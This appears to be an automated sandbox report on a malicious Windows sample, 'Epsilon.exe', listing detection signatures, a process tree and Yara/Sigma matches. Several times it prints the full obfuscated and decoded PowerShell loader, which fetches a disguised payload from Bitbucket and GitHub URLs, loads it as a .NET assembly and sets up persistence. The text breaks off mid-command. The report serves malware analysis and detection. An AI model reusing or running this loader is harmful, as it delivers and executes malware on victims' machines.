Edit tour

Windows Analysis Report
Epsilon.exe

Overview

General Information

Sample name:	Epsilon.exe
Analysis ID:	1582590
MD5:	61566aa90d2dcaf483fe4697031f46c4
SHA1:	b072393ac533c868683a93aa98e350144a772c34
SHA256:	51826c6098770542d808375156b42c288ba675863a73eca9084c402a11771b2d
Tags:	exeuser-aachum
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Powershell download and load assembly

Sigma detected: Powershell download payload from hardcoded c2 list

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

.NET source code references suspicious native API functions

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Binary contains a suspicious time stamp

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain checking for process token information

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

Epsilon.exe (PID: 7312 cmdline: "C:\Users\user\Desktop\Epsilon.exe" MD5: 61566AA90D2DCAF483FE4697031F46C4)

cmd.exe (PID: 7344 cmdline: cmd.exe /c 677174b841ee7.vbs MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7416 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7504 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bi$GE$cwBl$DY$N$BM$GU$bgBn$HQ$a$$g$D0$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$I$$k$HM$d$Bh$HI$d$BJ$G4$Z$Bl$Hg$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$GI$YQBz$GU$Ng$0$EM$bwBt$G0$YQBu$GQ$I$$9$C$$J$Bp$G0$YQBn$GU$V$Bl$Hg$d$$u$FM$dQBi$HM$d$By$Gk$bgBn$Cg$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Cw$I$$k$GI$YQBz$GU$Ng$0$Ew$ZQBu$Gc$d$Bo$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$I$$9$Fs$QwBv$G4$dgBl$HI$d$Bd$Do$OgBU$G8$QgBh$HM$ZQ$2$DQ$UwB0$HI$aQBu$Gc$K$$k$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bj$G8$bQBt$GE$bgBk$EI$eQB0$GU$cw$g$D0$I$Bb$FM$eQBz$HQ$ZQBt$C4$QwBv$G4$dgBl$HI$d$Bd$Do$OgBG$HI$bwBt$EI$YQBz$GU$Ng$0$FM$d$By$Gk$bgBn$Cg$J$Bi$GE$cwBl$DY$N$BD$G8$bQBt$GE$bgBk$Ck$Ow$g$C$$I$$k$HQ$ZQB4$HQ$I$$9$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$Ow$g$CQ$b$Bv$GE$Z$Bl$GQ$QQBz$HM$ZQBt$GI$b$B5$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBS$GU$ZgBs$GU$YwB0$Gk$bwBu$C4$QQBz$HM$ZQBt$GI$b$B5$F0$Og$6$Ew$bwBh$GQ$K$$k$GM$bwBt$G0$YQBu$GQ$QgB5$HQ$ZQBz$Ck$Ow$g$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$I$$9$Fs$QwBv$G4$dgBl$HI$d$Bd$Do$OgBU$G8$QgBh$HM$ZQ$2$DQ$UwB0$HI$aQBu$Gc$K$$k$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$YwBv$G0$c$By$GU$cwBz$GU$Z$BC$Hk$d$Bl$EE$cgBy$GE$eQ$g$D0$I$BH$GU$d$$t$EM$bwBt$H$$cgBl$HM$cwBl$GQ$QgB5$HQ$ZQBB$HI$cgBh$Hk$I$$t$GI$eQB0$GU$QQBy$HI$YQB5$C$$J$Bl$G4$YwBU$GU$e$B0$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$HQ$eQBw$GU$I$$9$C$$J$Bs$G8$YQBk$GU$Z$BB$HM$cwBl$G0$YgBs$Hk$LgBH$GU$d$BU$Hk$c$Bl$Cg$JwB0$GU$cwB0$H$$bwB3$GU$cgBz$Gg$ZQBs$Gw$LgBI$G8$YQBh$GE$YQBh$GE$cwBk$G0$ZQ$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$EU$bgBj$G8$Z$Bl$GQ$V$Bl$Hg$d$$g$D0$WwBD$G8$bgB2$GU$cgB0$F0$Og$6$FQ$bwBC$GE$cwBl$DY$N$BT$HQ$cgBp$G4$Zw$o$CQ$QgB5$HQ$ZQBz$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$G0$ZQB0$Gg$bwBk$C$$PQ$g$CQ$d$B5$H$$ZQ$u$Ec$ZQB0$E0$ZQB0$Gg$bwBk$Cg$JwBs$GY$cwBn$GU$Z$Bk$GQ$Z$Bk$GQ$Z$Bh$Cc$KQ$u$Ek$bgB2$G8$awBl$Cg$J$Bu$HU$b$Bs$Cw$I$Bb$G8$YgBq$GU$YwB0$Fs$XQBd$C$$K$$n$C$$d$B4$HQ$LgBo$GM$awBT$Gs$c$Bv$C8$cwBk$GE$bwBs$G4$dwBv$GQ$LwBy$Hc$cQBl$Hc$cQBm$HE$dwBm$C8$cQBy$GU$d$By$GU$d$By$C8$ZwBy$G8$LgB0$GU$awBj$HU$YgB0$Gk$Yg$n$Cw$I$$n$D$$Jw$s$C$$JwBT$HQ$YQBy$HQ$dQBw$E4$YQBt$GU$Jw$s$C$$JwBN$HM$YgB1$Gk$b$Bk$Cc$L$$g$Cc$M$$n$Ck$KQB9$H0$';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dosigo.replace('$','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7660 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.hckSkpo/sdaolnwod/rwqewqfqwf/qretretr/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7504	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7504	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x6d376:$b2: ::FromBase64String( 0xef2ac:$b2: ::FromBase64String( 0x6d149:$b3: ::UTF8.GetString( 0xef07f:$b3: ::UTF8.GetString( 0xd54ff:$s1: -join 0x12ecb3:$s1: -join 0x2e829:$s3: reverse 0x3547e:$s3: reverse 0x37465:$s3: reverse 0x42494:$s3: reverse 0x89eba:$s3: reverse 0x93d81:$s3: reverse 0xbc5ae:$s3: reverse 0xbc89c:$s3: reverse 0xbcfb6:$s3: reverse 0xbd76f:$s3: reverse 0xc485a:$s3: reverse 0xc4c74:$s3: reverse 0xc57fc:$s3: reverse 0xc64a9:$s3: reverse 0x10aa67:$s3: reverse
Process Memory Space: powershell.exe PID: 7660	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7660	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xcb83:$b2: ::FromBase64String( 0xe0f0:$b2: ::FromBase64String( 0x2204a:$b2: ::FromBase64String( 0x23f98:$b2: ::FromBase64String( 0x29273:$b2: ::FromBase64String( 0x3edcc:$b2: ::FromBase64String( 0xc956:$b3: ::UTF8.GetString( 0xdec3:$b3: ::UTF8.GetString( 0x21e1d:$b3: ::UTF8.GetString( 0x23d6b:$b3: ::UTF8.GetString( 0x29046:$b3: ::UTF8.GetString( 0x3eb9f:$b3: ::UTF8.GetString( 0x35763:$s1: -join 0x37979:$s1: -join 0x57ffc:$s1: -join 0x1465:$s3: Reverse 0x2343:$s3: Reverse 0xca78:$s4: += 0xdfe5:$s4: += 0x21f3f:$s4: += 0x23e8d:$s4: +=

Other

Source	Rule	Description	Author	Strings
amsi64_7660.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

Spreading

Sigma detected: Powershell download payload from hardcoded c2 list

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.hckSkpo/sdaolnwod/rwqewqfqwf/qretretr/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $start

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.hckSkpo/sdaolnwod/rwqewqfqwf/qretretr/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = 